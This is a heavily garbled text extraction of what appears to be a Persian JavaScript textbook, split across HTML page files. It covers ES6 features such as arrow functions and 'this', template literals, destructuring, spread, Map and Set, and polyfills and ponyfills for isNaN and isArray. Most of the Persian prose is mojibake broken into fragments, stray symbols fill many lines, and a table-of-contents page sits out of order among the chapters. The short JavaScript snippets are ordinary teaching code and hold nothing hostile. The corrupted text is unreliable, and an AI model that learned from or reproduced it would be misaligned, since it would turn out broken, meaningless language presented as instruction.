Õº µ
پ
±²¹º»¼
دگان هس¾¶ جا
É
ه
³ ¶Õº
ها ¼ ¸و
ì±
و
Á¶
ام
Á²
. ب
³²
م·ک
Ù
ه
»²Ó ·
س
±
و
Á
کد
»
کار ر
µ
ا ماهی
ñÕ
د ک¶ ب
ɾ
ش
»³ Û
ب
»
ر¼´ ¸و
²
ب
apply
ا
±
call
ز
» ϳ
¾فا
º»
ا
±
ن
³²
ک
bind
با
ƹÐ
م
هی
³·
م
ï²
ش
»
ر
ES6 Æ
ح
Ï»
¼ ر
Ù
ی
Á×
می
Ë
و
àà ¿±»
ر
³ »
· ر
±
ها
Ñ
م¶ مثا
»³»
ر
³ ،³²
م·ک
Ï
ید
ã
ی
Å
ول·
ÈÕ
م
scope
¶Á ¼
د
É
م·ک
²
¸فسی
lexical scope
ر
³ »
ر
this
Ö
و
Ô
مف
µ
پ
±²¹º»¼
حا جا
Íä
ص
»
¶Á
فا
º
¼ م¾ا
³
م·شو
µ
پ
±²¹º»¼
دگان جا
É
ه
³ ¶Õº
ز ¸و
» ´
ه· بسیار
»²È
گ
é
موج
ç
ی¿ موضو
È
¼ ه
د
ɾ
یس
Á
ا
É
آش
ç
¿ موضو
±» Æ
¼ کام
ë
قی
³ Ö
و
Ô
دگان با مف
É
ه
³ ¶Õº
ز ¸و
» ´
ی× بسیار
Á ²
حاض
Ñ
ر حا
³
¼
scope
ز
» ·
. ب¶ مثال
³
¶ شو
Õ
ال
ä
· م
ÂÎ
ها´ ق
Ä
ر بخ
³
this
ب¶
Ê
بو
²
م
Ä
ا بخ
Ⱦ
ح
Ùɹ
می
³
ا
ÔÉÐ
ی
Å
د.
É
م·ک
ÆÈ
ع
ƹ
ی¿ ش
È
ا ب¶ ه
Ý
قی
³ ×
ی
Á
this
³
ر مور
³ ،
ید
É
ک
µ
ق
³
ها
²
· م¾÷ی
±»²
ج
» ϳ¼
د
Þ
م
var scope = “I am global”;
function whatismyscope() {
var scope = “I am just a local”;
function func() {
return scope;
}
return func;
}
whatismyscope()();
// I am just a local
164
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/167.html ================================================
Ñ
ک¶ مسئو
Ù±
ر
»³ À
خ
Ð
م
í
ر
³
آ
Ú±
ز
»
و
ßÐÁ»³
عات
Í
ط
» µÓ
ا
±
ر
³ ´»²
ب
íÍ
ک
Ú±
ید
É
ک
þ²Ó
ϳ
یا
Å þ²Ó
با
Û
¿ ¸اب
±» ،
م·باشد
ϳ»³
ر¼´ آن
²
ب
Ë
ا
à ·¸
یا
ÂÈ
´ ع
»²
ج
» ¼ ²æÁ ³
¾ا´ مور
±³ µÓ
ا
±
ر
³
وش¾¶ م·شو
Á ²±
ز
ƹ
´ ب¶ ش
²Ç
¶ ج· کو
Á
ر¼´ ک¾ابخا
²
ب
ES5 ¶
سخ
Á
از´ با
º
// Student class
function
Student
() {
var
data;
};
$.extend(Student.prototype, {
getData:
function
() {
$.get(
‘/data’
,
function
(
response
) {
this
.data = response.data;
});
},
});
µº» ¶Á
ر آن ک¾ابخا
³ ³
با م¾دها´ موجو
éÂä
م
Ù
ی
Ô
´ ¸ف
»²
ب
óÝÓ ´²Ç
ج·کو
Ñ
ز مثا
» ϳ
¾فا
º» :¶¾¹Á
یس
Á ï²ä
م
Ï
د
É
س
±
و
Á óº
ز آن ¸و
»
ϳ
¾فا
º» Ö
ا عد
± ϳ
¾فا
º» ¶
ب
ð
جی
²¸ ¼
شدن
extend
ز
»
د
Õ
م·باشد ک¶ ب
data
Ö
ا
Á ¶
¶ ب
à
خ
Ð
م
Ú± ´»
ر
»³
Student
íÍ
ک
ø
و
Ó Ñ
ر مثا
³
Û
¸اب
)/
data
( ²æÁ ³
مور
url
ز
» ،ϳ»³ µÓ
ا
±
ر
³ ¼
شدن
get
Ö
ا
ÌÉ
ر ه
³ Ù±
ر
»³
ار
æ¾Á» ،
آن
prototype
þ²Ó ¿±»
ما
» ،³
شو
²Å
student
íÍ
´ ک
»²
ب
data
¶à
خ
Ð
¼ م
³
شو
»²
ج
»
callback
´»²
ب
Ï
وش¾¶ شد
Á
íÍ
´ ک
»²
ب
this
ر
»
د
Ý
ز م
» ²¸
م¾فا¼ت
callback
Û
¸اب
ÆÃ»³
ر
³
this
ر
»
د
Ý
ک¶ م
»²
… چ
µº» Ï
ا
ξ
ش
»
د.
É
م·ک
Ï
شار
» ·
وم
È
ع
object
م·باشد ¼ ب¶
Student
»²
ج
»
student
íÍ
ب¶ ک
Ê
بو
²
م
scope
ر
³ ²
ب¶ ظاه
callback
Û
ک¶ ¸اب
µº» ¿±» ،²
م
» ¿±» Æ
لی
³
íÍ
ب¶ ک
ÍÈ
آن ع
ÆÃ»³
ر
³ Ï
وش¾¶ شد
Á
this
وم· م·باشد ¼
È
آن ع
lexical scope
ما
» ³
م·شو
هد
»
و
à »²
ج
» °
کد با
ìÅ ،
سد
±
و
É
ب
ϳ»³
ر¼´ آن
²
ب
this.data
·Á»
و
û²Ó
د ک¶ با
É
·ک
ÈÁ Ï
شار
»
Student
µº ²
ب
»
ر
þ²Ó
¼ چون
³
وش¾¶ م·شو
Á
ما
²æÁ ³
مور
ϳ»³ ،
window.data
ر¼´
²
ب
°
ا
Ⱦ
ح
»
ما
» ،
شد
ور
÷
ا م
äà ¶
ب
Ï
وش¾¶ شد
Á
، کد
Ù±³
ش¾¶ بو
»
گذ
ë±²
¿ ط
±»
ز
»
data
ژگ·
±¼
شدن
ک¶
that
ا
ñÕ
ا ب
±
self
Ö
ا
Á ¶
· ب
ÂÞ
م
²
م¾÷ی
Ú±
ن
»
، م·¸و
ES6
ز
» ÆÎ
ق
á¼
، با ر
ƹÐ
¿ م
±» Æ
´ ح
»²
ب
ز آن
»
this
¼ ب¶ جا´
ê±²Õ¸ $.get
ز
» ÆÎ
ق
»
د، ر
Á³
ا بو
äà ¿±» ç
ز ¼قو
» ´²
وگی
Â
´ ج
»²
ب
ù±»
ها´ ر
Ö
ا
Á
165
Íä· ØÉ³
================================================ FILE: HTML/168.html ================================================
´ مثا
»²
. ب
³²
ک
ϳ
¾فا
º» ·ÂÞ
م
²
م¾÷ی
var
self =
this
;
$.get(
‘/data’
,
function
(
response
) {
self.data = response.data;
});
Arrow
ز
» ²
گ
» ¼ µº» Ï
¾¶ شد
Ó²
گ
²æÁ
ر
³ ç
¿ موضو
±» ´»²
´ ب
²¾Ô
¼ ب
²¸Ï³
ا
º
ار بسیار
¹
ه
»
ر
ES6
ر
³
ما
»
³²
·گی
ÈÁ ´²Ì±³
scope
²Ì±³
callback
ر
³ ³
موجو
this
Ù
ی
É
ک
ϳ
¾فا
º» Ä
¿ بخ
±» ´»²
ب
Functions
ش
»³ Ù
هی
»
و
à ìÅ .³²
هد ک
»
و
à Ï
شار
»
Student
íÍ
ان ک
È
¼ ب¶ ه
$.get(
‘/data’
, (response) => {
this
.data = response.data;
});
:µº» µ
ی
È
ه
» ×Ç
حا
ÙÔ
¾¶ م
¹Á ¼³ °
ر کد با
³
±
Û
¸اب
ê±²Õ¸ ´»²
´ ب
²¾Õ±²º ¼ ²¸Ï³
ا
º á¼
¼ ر
Ï
¿ شد
±×̱
= جا
<
با
function
ید´
Â
¶ ک
ÈÂ
ک
.µº» Ï
شد
ϳ
¾فا
º»
±
¿±»
ر
³ ¶
د ک
É
م·ک
ÆÈ
ع
³
و
à ·ÂÎ
ق
scope
ë
اب
ä
د ¼ م
É
·ک
ÈÁ Ï
شار
»
lexical scope
ب¶
this
م·باشد.
Student
íÍ
ب¶ ک
Ê
بو
²
م
scope
Ñ
مثا
)
template literals(
ا
È Á¸
رش
æ
ال
Ò
á
ز
»³²Å ³
م·شو
î
باع
ک¶
µº» ´³²
ما کارب
» ϳ
ا
º
ژگ· بسیار
±¼ Ú±
ها
Ñ»²¾
لی
é
ا قال
±
رش¾¶ها
é
قال
) ' (
ب¶ جا´
) ` (
Ò
ر
³
¿ کار با
±» .³
شو
Ö
ا
ßÁ» ·
گ
³
ا
º ¶
رش¾¶ها ب
ÆÃ»³ ²
ز م¾÷ی
» ϳ
¾فا
º» ¼
رش¾¶ها
هد:
³·
م
ð
¸وضی
»
ر
Ö
و
Ô
¿ مف
±» ·
گ
³
ا
º ¶
ب
²±
ز
Ñ
، مثا
³²±
ذ
Å·
م
Ö
ا
ßÁ»
) " (
ا
±
let
name = ‘ali’, timeName = ‘sobh’;
// ES6 : use the (`)
console
.log(
`
${name}, ${timeName}
`
);
// ES5
console
.log(
+ name +
‘, ‘
+
timeName
+
);
Öͺ
²
بخی
Öͺ
²
بخی
166
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/169.html ================================================
¼ ب¶
³
´ م·شو
²
وگی
Â
ال· ج
Ⱦ
ح
» ´
اها
äÃ
ز
» ´
بسیار
ç
ز ¼قو
» ·
ژگ
±¼ ¿±»
ک¶ با
³
م·شو
Ï
اهد
Ð
م
سی
±
و
Á·
م
) `` ( ÆÃ»³ »
م¾¿ ر
Æ
¼ ک
ϳ»³
ر
»²
ق
${ } ÆÃ»³ »
ر
³
و
à ²
گ· م¾÷ی
³
ا
º
´ ک¶
» ¶Á
. ب¶ گو
³²
ک
ϳ
¾فا
º» ×
ی
Á
د
ÉÉ
م·ک
µÓ
ا
±
ر
³ ´»¶¾
رش
²¾
م
»
ار
Å ¶
· ک
Õ
ب
»
ر ¸و
³ »
رش¾¶ها ر
Ñ»²¾
لی
í
ا
Å Û
ب¶ ¸اب
»
ر
²æÁ ³
ارت مور
Î
` ع
²ÌÂÈ
ز ع
» ϳ
¾فا
º»
¼ با
ϳ²
ک
ò
ی× حذ
Á »
· ر
Á»
و
û²Ó ´
¾×ها
Á»²Å ·¾
ح
.³»³
function
showMeThis(input) {
console
.
log
(
input
);
}
showMeThis
`Hi there, I am
${name}`
;
Object
À Á±´
´¾ آر
²
ب
Destructing
´²º Ú±
ر
³ »
ر
¶±»
آر
Ú± ´
ها
index
ا
±
object
Ú± ´
¶ها
à
خ
Ð
ک¶ م
Ù±
ر
»³
یاز
Á Û
ق
»
· مو
ñÕ
ر ب
³
ی
É
م·ک
ϳ
¾فا
º» ES6 ·
ژگ
±¼
ز
»
کد
ϳ
ا
º ¿¾
وش
Á ´
ا
ß
ب
³
ر
»
¶ مو
Á
و
Ìɱ»
ر
³ ،Ù
ی
É
ک
Ò
ر
³ À
خ
Ð
م
²
م¾÷ی
مثا
// ES6
var
[x, y] = point;
var
{ name, age } = obj;
// ES5
var
x = point[
0
], y = point[
1
];
var
name = obj.name, age = obj.age;
ه·
³
ر
»
د
Ý
م
point
¶±»
آر
Ö¼³ ¼ Ѽ» ´
ها
index
ز
» é
¸ی
²¸ ¶
ب
y , x
ها´
²
، م¾÷ی
ø
و
Ó
´ کد
»²
ج
»
با
age
¼
name
ها´
²
م¾÷ی
é
¸ی
²¸ ¿
ی
È
، ب¶ ه
µº» Ï
وش¾¶ شد
Á ES6 ¼ ES5 ´
ها
µ
م
²Ó ¶
د، ک¶ ب
Á
م·شو
د.
Á
ه· م·شو
³
ر
»
د
Ý
م
obj
²
ر م¾÷ی
³ ³
و
à Ö
ا
Á Ù
ژگ·ها´ ه
±¼
ز
»
spread
²Îл¿
ر
³ »
د ما ر
Á»
د. م·¸و
É
م·ک
»
ید
Å ·ÉÕ
م
Ù
ار ه
É
ر ک
³ ¶äÝÁ ¶º
ن
³»³
ر
»²
گ· با ق
³
ا
º ¶
ک¶ ب
²ÌÂÈ
¿ ع
±»
ها´ بسیار
³²
´ کارب
»
ر
»³ ·
ژگ
±¼ ¿±» .
د
É
ک
ÚÈ
ک
ê¾
وع¶ها´ مخ
Èß
م
²±³
ا
Ý
ز م
» ϳ
¾فا
º» ¼ ·
ه
³
ر
»
د
Ý
م
د.
±
ا م·شو
É
آن آش
Ö
و
Ô
با مف
²¾Ô
´ ب
³²
کارب
Ñ
د مثا
É
¶ چ
Ç»
ر
»
· م·باشد ک¶ با
±
ا
α
ز
ر آن
³ »
ر
²Ì±³ ¶±»
آر
Ú± ²
اص
É
ع
Ö
ا
ȸ
هید
»
و
÷
د ¼ م
±
ر
»³ ²àÉ
ع
4
¶ با
±»
آر
Ú±
ید
É
ک
þ²Ó Ñ
´ مثا
»²
ب
167
Íä· ØÉ³
================================================ FILE: HTML/17.html ================================================
231
................................................................................
جال
arrow functions
232
.........................................................................
arrow functions À
ا
È
آرگومان
232
.....................................................................................
return
اه
Ǹ
´س¸فاده ´ش
233
..............................................................
Math.min
´س¶ ´ز
²¸Í
کوچ
Math.max
233
......................................................................................
ا
Ȳ½
د م¸غ
¹Ø
·ی م
²
مع
234
.............................................................................
籫
آر
sort
Ú
تاب
ê²
ف
Ͻ
ر·¸ار پ
³¶
بخش دوازد
[
Æ
رد
³¼
ا
È Í
ائ
Ç
و ض
Å
و
²¹
ج
238
....................................................................................................
د´ده
Ö´
و
º´
238
.................................................................................................
ومی
»¿ Ú
تو´ب
239
.......................................................
)Object
(
´ش½اء
À )Number(
´د
¹¿´ ¾
ا
È
ژگی
±À
240
...........................................................................
)
Number ¾À
ر
²
ب
(
´د
¹¿´ Ú
تو´ب
240
..........................................................................
RegExp Â
ظ
Ñ
م
Ê´
ار
Ç¿ ¾
ا
»ÑÈ´
ر
240
....................................................................................
)
Modifiers(
ا
È
ه
¹º´²½
پ
241
.......................................................................
)
Metacharacters(
ا
Ȳ¸
م¸اکار´ک
243
.............................................................................
)
Quantifiers(
ا
鑄
½¶س
»
ک
243
.....................................................................
)
RegExp( Â
ظ
Ñ
م
Ê´
ار
Ç¿ ¾
ا
È
ژگی
±À
244
........................................................................
)
RegExp( Â
ظ
Ñ
م
Ê´
ار
Ç¿ ¾
ا
ȹ¸
م
244
................................................................
¶Ì±²Í
´س
À
ه در جا
¹
ش
À
¾ رزر
¹½Ð
ک
Ê
ا
»Ð
ک
================================================ FILE: HTML/170.html ================================================
سید:
±
و
Á·
م
²±
اب¶ کد ز
Ð
سید، کد´ م
±
و
É
ب
var
mid = [
3
,
4
];
var
arr = [
1
,
2
, mid,
5
,
6
];
console
.log(arr);
¶±»
آر
Ö
و
º ²àÉ
ر ع
³ ]3,4[ ¶±»
¼ آر
µ
یس
Á
ما
²æÁ ³
¶ مور
ß
¾ی
Á
د قاعد¸ا
±
م·آ¼ر
µº
¼ج· ک¶ بد
²Ã
هد بو
»
و
à ²±
ز
Ö²Ó ¶
¼ج· کد ب
²Ã ¼ ³²
ر م·گی
»²
ق
arr
[
1
,
2
, [
3
,
4
],
5
,
6
]
ی
É
¸ولید ک
»
ر
²±
¼ج· ز
²Ã Ù
¾ی
º»
و
÷
ر حال·ک¶ ما م
³
[
1
,
2
,
3
,
4
,
5
,
6
]
ð
ی
Þภ²±
ز
ƹ
ب¶ ش
»
ر
³
و
Ã
¼ کد
Ù
ی
É
م·ک
ϳ
¾فا
º»
spread
ژگ·
±¼
ز
» ·
گ
³
ا
º ¶
¿ کار ب
±» Ö
ا
ßÁ» ´»²
ب
ی
É
م·ک
var
mid = [
3
,
4
];
var
arr = [
1
,
2
,...mid,
5
,
6
];
console
.log(arr);
// [1, 2, 3, 4, 5, 6]
ϳ
¾فا
º»
ر صورت
³ ¶
ک
Ù±³²
م·ک
ϳ
¾فا
º»
concat
ز
» µ
س
±
ی¿ کار´ م·با
É
چ
Ö
ا
ßÁ» ´»²
ب
ES6
ز
» ÆÎ
ق
²±
ب¶ صورت ز
°
¶ کد با
¹¸ Ñ
´ مثا
»²
. ب
Ù
ی
É
ک
µ±
رعا
»
ر
²
اص
É
ع
ð
ی
Þ
ص
é
¸ی
²¸ Ù
س¾ی
Á»
·¸و
ÈÁ ×
ی
Á
ز آن
»
:³²
¸ولید م·ک
»
ر
²æÁ ³
مور
é
¸ی
²¸
¼ج· بد¼ن
²Ã ¶
وش¾¶ م·شد ک
Á
var
mid = [
3
,
4
];
var
arr = [
1
,
2
, mid,
5
,
6
];
console
.log(arr.concat(mid));
// [1,2,5,6,3,4]
Set
À Map ¾
ا
ÈÁ¿
و
ȯ
م
،Ù
ی
É
·ک
ÈÁ ϳ
¾فا
º»
object
ا
± ¶±»
ز آر
» ¶Ð
ی
È
آنها، ه
µ±²±
ها ¼ مد
ϳ»³
ز
» ¶
وع
Èß
م
Ú± ´
ر
»
د
ÔÌÁ ´»²
ب
168
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/171.html ================================================
ام¶
Á²
د´ ب
É
یازم
Á í
ا
º» ²
ب
Set
ا
± ¼
Map
ها´
íÍ
ز ک
» µ
پ
±²¹º
ا
È
ک
»
ز
» 6 ¶
سخ
Á
ر
³
ن
»
ک¶ م·¸و
»²
چ
د:
É
م·باش
²±
¿ کدها ب¶ صورت ز
±» ´
ها
Ñ
. مثا
Ù
ی
É
ک
ϳ
¾فا
º» ²æÁ ³
مور
const
map =
new
Map
([[
1
,
‘one’
], [
2
,
‘two’
]]);
map.get(
1
);
// 1
const
set =
new
Set
([
‘a’
,
‘b’
,
‘c’
]);
set.has(
‘c’
);
// true
Æ
شام
ES6 ¶¹
ر حالی
³ ،
د
Á»Ï
· بیان شد
Þäº ¼ ·Ç×
بسیار ج
ES6 ³
ر مور
³ Ï
¶ شد
Ç»
ر
»
ات
Þ
¸وضی
بسیار´ م·باشد.
é
جال
ÆÇ
¾¶ها ¼ مسا
¹Á
[
Polyfill ß¶äÖ
م
ب¶
²
¼رگ
²
د ک¶ م
±
ژگ· جد
±¼ Ú±
ز
» ϳ
¾فا
º»
ان
¹
م
»
ن
³²
¶ ک
Ó
ضا
» ´»²
گی¿، ب
ÍÅ
ا
±
¶ کد
¹¸ Ú±
2009 Ñ
ا
º
ر
³ ¼
remy sharp
óº
¼لی¿ بار ¸و
» ÏÜ»¼ ¿±» ،
د
É
·ک
ÈÁ ·Á
ا
Î
¾ی
ÐÅ
ز آن
» þ²ÓÄ
ی
Å
صورت
Ú±
ب¶ صورت
³
م·شو
ϳ¼×Ó» ²
¼رگ
²
· ک¶ ب¶ م
±
ژگ·ها
±¼ ¶
ب
Ï
شار
» ´»²
ن ل÷¾· ب
»
شد، ¸ا ب¾و
ï²ä
م
.³²
ک
³
ا
ß±»
دگان
É
ه
³ ¶Õº
میان ¸و
³
ر
»
د
Á
¾ا
º»
ر¼´
²
ر ب
»
د
Ý
ا م
± ²
م¾÷ی
Ú± )
ن
³
و
ÎÁ ³
عد
(
NaN
·º
ر
²
´ ب
»²
ب
µ
پ
±²¹º
ا
È
ک
»
ز
» 6 ¶
سخ
Á
ر
³ Ñ
´ مثا
»²
ب
Ö
ا
Á
· ک¶ با
ÂÎ
ق
Û
، ¸ا ¸اب
µº» Ï
¶ شد
Ó
ضا
»
isNaN
Ùº» ¶
م¾د´ ب
Number
´»²
ب
³
موجو
object
Number
´»²
ب
³
موجو
object
ر¼´
²
ب
³
بو
í²¾º³
ر
³
Utility
é
ر قال
³ ¼ ·
وم
È
ب¶ صورت ع
isNaN
شو
ϳ
¾فا
º»
ر
³
ها
²
¼رگ
²
¼ م
µº» ³
موجو
µ
پ
±²¹º
ا
È
ک
»
ز
» 6 ¶
سخ
Á ´¼
ر
²
ژگ· ب
±¼ ¿±»
شد
Ï
شار
» ¶
ور ک
äÁ
ا
È
ما ه
»
ار´
¹
ه
»
ر
ìÅ ،
د
ÉÉ
·ک
ÈÁ ·Á
ا
Î
¾ی
ÐÅ ·
ژگ
±¼ ¿±»
ز
» Æ
ب¶ صورت کام
ÍÕÓ ½
¿ ک¾ا
±»
وش¾¶ شدن
Á
زمان
·È±
سخ¶ها´ قد
Á ´¼
ر
²
ژگ· ب
±¼ ¿±»
ز
» ϳ
¾فا
º» ´»²
ب
Polyfill Ú± ·
ح
»²
ط
Ù
هی
³·
¶ م
Ç»
ر
» ¶
ک
ب¶
²±
ز
ƹ
ید کد´ ب¶ ش
É
ور ک
ภ،
م·باشد
»²
ج
» Æ
گ· قاب
³
ا
º ¶
ب
Ï
ح· شد
»²
ار ط
¹
ه
»
. ر
µº
ها
²
¼رگ
²
م
ی
É
¶ ک
Ó
ضا
» ³
و
à Ïܼ²Å
if
(!
Number
.isNaN) {
Number
.isNaN =
function
isNaN
(
x
) {
return
x!== x;
};
}
169
Íä· ØÉ³
================================================ FILE: HTML/172.html ================================================
ک¶
Ù±
، م¾وج¶ م·شو
³
و
ÐÁ
ر
»²
ق
²
ب
if
ØÍ
ر ب
³ ·±»
ب¾د
» Ï
وش¾¶ شد
Á ʲ
ر صور¸· ک¶ ش
³
¿ کار
±»
با
Û
ز ¸اب
» ϳ
¾فا
º»
ها
²
¼رگ
²
· م
ÂÎ
سخ¶ها´ ق
Á
ر
³
د ¼ چون
É
·ک
ÈÁ ·Á
ا
Î
¾ی
ÐÅ µ
ی
Â
¿ قاب
±»
ز
» ²
¼رگ
²
م
Ï
وش¾¶ شد
Á ´
¼ کدها
Ù
هی
³·
ر م
»²
ق
Û
¿ ¸اب
±» ²
ب
»²
ب
»
ر
Number
ر¼´
²
ب
³
، م¾د موجو
³
از بو
ß
م
isNaN
.³²
د ک
É
ه
»
و
Ã
کار
ƹÐ
ا ¼ م
äÃ
ی× بد¼ن
Á
د
±
جد
Ö²Ó
با
شدن
polyfill Æ
گ· قاب
³
ا
º ¿±» ¶
ب
Ï
ید
ã
ی
Å ´
ژگ·ها
±¼
ا
ñÕ
¼ ب
³
بو
ϳ
ا
º
بسیار
Ñ
¿ مثا
±» ¶¾Î
ل
»
ب¶
²æÁ ³
ژگ· مور
±¼
ن
³¼×Ó» ´»²
´ ب
²¾Ð
بی
ϳ
¾فا
º» ³
مور
ëäÉ
ا م
± ²¾Ð
کد بی
µ
س
±
د ¼ م·با
ɾ
یس
Á
´²º Ú± ´»
ر
»³
ا
± ¼ µ
یس
Á ²±
ذ
Å
ان
¹
م
» polyfill Æ
کام
Ö
ا
ßÁ» ×
ی
Á
ها
µ
· ¼ق
ñÕ
¼ ب
³
¶ شو
Ó
ضا
» Ïܼ²Å
ها م·باشد.
ÀÝÁ
¼ Ê
ح¾یا
»
با
µ
س
±
¿ کار م·با
±» ´»²
ج
» ¼ ³
·شو
ÈÁ Ö
ا
ßÁ»
ما
³
و
à óº
¸و
polyfill ´»²
ج
»
ما ل×¼ما
»
ها½
µ
ر¼´ گی
²
وب· ب¶ صورت م¾¿ باز ب
à Û
اب
É
م
Æ
لی
³ ¿
ی
È
ب¶ ه
³
شو
Ö
ا
ßÁ» éº
ا
É
ها´ م
µ
¸س
ید
Á»
م·¸و
( .
د
ɱ
ا
ÈÁ ²±
ذ
Å
ان
¹
م
»
´ ما
»²
ب
»
ر
ð
ی
Þ
ص
ƹ
ب¶ ش
polyfill Ö
ا
ßÁ»
د ¸ا
ɾ
هس
í²¾º³ Æ
قاب
) .
ید
É
و ک
ß¾
جس
óθ²
م
ù±
¾ا
Á ¿¾Ó
ا
± ´»²
ب
»
ر
shim-
es6
ا
±
shim-
es5
[
polyfill
¿ر
ä³ æ
¼و
ر
³ Ï
شد
²
ک
è Ñ
ا ب¶ مثا
± ¼
باشید
ϳ²
¸وج¶ ک
ê¾
مخ
Û
اب
É
ر م
³ ³
ها´ موجو
polyfill ¶
ب
²
گ
»
·º
ر
²
´ ب
»²
ب
if
Ø
و
Â
ب
Ú±
ز
» ¶
هید شد ک
»
و
à ¶
د، م¾وج
±
شو
ë
قی
³ ·È
ک
Ä
¿ بخ
±» ·±»
ب¾د
» Ä
بخ
¶ ب¶
ß
¾ی
Á í
ا
º»²
ب
ì
پ
º ¼ Ù
ی
É
م·ک
ϳ
¾فا
º» ²
ی
Ã
ا
±
ر م·باشد
»²
ق
²
ار ما ب
æ¾Á» ³
ژگ· مور
±¼
ا
±
¶ آ
¹É±»
Ä
¼ بخ
³
ر
³ »
ر
³
و
à ²æÁ ³
¼ کدها´ مور
Ï
شد
ÛÂä
م
²æÁ ³
ان مور
¹
م
»
· شدن
Á
ا
Î
¾ی
ÐÅ
ز
» Ï
آمد
µº³
.Ù±»Ï³²
ک
Ù
سی
ݸ ³
·شو
ÈÁ ·Á
ا
Î
¾ی
ÐÅ ¼ ³
· م·شو
Á
ا
Î
¾ی
ÐÅ :´
ها
µ
´ حال
»²
ب
¶Ç»
ر
»
isArray
´ م¾د
»²
ب
polyfill Ö
ا
ßÁ» ³
ر مور
³ ²Ì±³ Ñ
مثا
Ú± ç
موضو
²¾Ô
´ ر¼ش¿ شدن ب
»²
ب
هی
³ ·
م
// source: https://developer.mozilla.org/en-US/docs/Web/Ja-
vaScript/Reference/Global_Objects/Array/isArray
if (!Array.isArray) {
Array.isArray = function(arg) {
return Object.prototype.toString.call(arg) === ‘[object
Array]’;
};
}
170
Çɱ
اسکر
²ÊË
ی ا
²º
خه
̸
================================================ FILE: HTML/173.html ================================================
Array
ر¼´
²
ار ب
æ¾Á» ³
ژگ· مور
±¼
ن
³
بو
³
· موجو
º
ر
²
´ ب
»²
ب
if
ʲ
ز ش
» »³
د
ß
ک¶ م
Ù
ی
É
م·ک
Ï
اهد
Ð
م
؟
µº» á¼
¿ ر
±²¸¶É
ی
Ô
ب
á¼
¿ ر
±»
ا
±
ما آ
» .Ù±»Ï³²
ک
ϳ
¾فا
º»
وش¾¶ باشد!
Á polyfill Ú± )
Array
( ·
وم
È
ع
object
¿±» ´¼
ر
²
ب
Ù
ه
²Ì±³ ¶Á
ک¾ابخا
Ú±
ید
É
ور ک
à¸
µ
س
±
¶ م·با
Ð
ی
È
´ ک¶ ه
» ¶¾¹Á Ú± … µº» ·É
بی
Ä
ی
Å Æ
قاب
²
ی
õ
ا
Õ
ق
»¼ ،
بیف¾د
µº» ¿¹È
¸فاق· ک¶ م
»
·±
ها
object
·Â
ک
µ
ر حال
³
ا
±
global
ها´
object
¼ج¶
å
ک¶ ب¶ هی
µº» ¿±»
ش¾¶ باشید
»³ ²æÁ
ر
³
ید.
ɹÁ ´
ار
¹¾º³ »
ر
µ
یس
Á
¸ان
³
و
à ¶
ب
ëÂÕ¾
ک¶ م
دن
ÐÁ ´
ار
¹¾º³ ¶
ن ب
³
ر بو
»¼
مید
» ¼
prototype
ر¼´
²
م¾د ب
Ú±
ن
³
بو
³
· موجو
º
ر
²
ا´ ب
ß
ب
ìÅ
ارها´
¹
ه
»
ر
Ù±» ¶¾Ó²
گ
³
ا
± ÍÎ
· ک¶ ق
È
ز مفاهی
» ϳ
¾فا
º»
با
Ù
ی
Á»
ن، م·¸و
»²Ì±³ óº
¸و
object
¿±»
،Ù
ی
É
م·ک
ϳ
¾فا
º»
ز آن
» ¶Á
و
Ì
¼ چ
µ
چیس
closure
ک¶
Ù±» ¶¾Ó²
گ
³
ا
± ÍÎ
، ق
Ù
هی
³ ¶Ç»
ر
» »
´ ر
²¸ éº
ا
É
م
Ù
هی
³ ¶Ç»
ر
» polyfill ´»²
ا ب
α
¼ ز
éº
ا
É
ار´ بسیار م
¹
ه
»
ر
Ù
ی
Á»
م·¸و
IIFE
¼
closure
· باز´ با
È
با ک
و
ÈÁ Ù
هی
»
و
à ·º
ر
²
م¶ ب
»³»
ر
³ ¶
ک
[
Ponyfill
Ʋ
ر
³
IIFE
و
Closure
ز
² µ
اد
Ö¿
س
²
ک¶ ب¶
Ù
ی
É
م·ک
³
ا
ÔÉÐ
ی
Å
یس¾ید
Á óÂ
مس
Æ
ب¶ صورت کام
»
ها ر
Closure
¼
IIFE
ب¶
Ê
بو
²
م
é
ال
ä
م
²
گ
»
ید.
É
¶ ک
Õ
ال
ä
م
»
ر
Ä
¿ بخ
±» ì
پ
º ¼ ϳ²
¶ ک
Õ
ج
»²
بوط¶ م
²
م
Ä
بخ
م·شو
polyfill ´
د
Õ
¶ کد ب
¹¸ ƹ
د ک¶ ب¶ ش
±²
ی
Ì
ب
²æÁ
ر
³ »
ر
Array
ز
»
isArray
م¾د
if
(!
Array
.isArray) {
Array
.isArray =
function
(
arg
) {
return
Object
.prototype.toString.call(arg) ===
‘[object
Array]’
;
};
}
³
و
ÎÁ
ر صورت
³ ¼ ²
ی
Ã
ا
± ³
ر
»³ ³
¼جو
Array
ر¼´
²
ب
²æÁ ³
د ک¶ م¾د مور
É
· م·ک
º
ر
²
ب
polyfill ¿±»
´³²¹±¼
سد. ر
±
و
Á·
م
Array
ر¼´
²
ب
»
ما ر
Ï
وش¾¶ شد
Á
م¾د
¼رگ
²
م
óº
دن ¸و
ÐÁ ·Á
ا
Î
¾ی
ÐÅ(
م¾د
Ú± »
ب¾د
»
ر
³ ،³
هد بو
»
و
à ²¸
· م¾فا¼ت
È
م·باشد ¼ ک
ponyfill
ن
»
و
É
با ع
Ù
ی
É
ک
ϳ
یا
Å Ù
هی
»
و
÷
ک¶ م
یاز´
Á ¶
¿ ¸فا¼ت ک
±»
هد. با
³ Ö
ا
ßÁ»
ان
ȱ»²
ب
»
بوط¶ ر
²
¸ا ¼ظیف¶ م
Ù
سی
±
و
Á·
م
isArray
Ùº» ¶
ب
Û
¸اب
سی
±
و
Á·
د م
Õ
¶ کد ب
¹¸ ƹ
ب¶ ش
»
ر
Û
¶ ¸اب
Á
بد
»
ب¾د
» .³
هد بو
»
خو
Á
Array object
ر
³ ´
ار
¹¾º³ ¶
ب
171
Íä· ØÉ³
================================================ FILE: HTML/174.html ================================================
// isArray ponyfill Function
function
isArray
(
collection
) {}
¼ Ù
ی
É
¶ م·ک
Ó
ضا
» Û
ب¶ ¸اب
»
ر
²
¼رگ
²
م
óº
· شدن ¸و
Á
ا
Î
¾ی
ÐÅ µ
، حال
ponyfill
ن
³»³ Ö
ا
ßÁ» ç¼²
´ ش
»²
ب
Ú±
ن
³»³
ر
»²
با ق
ìÅ ،µº»
ر
»³
ور
ò
ب
Array
ر¼´
²
ب
isArray
ان
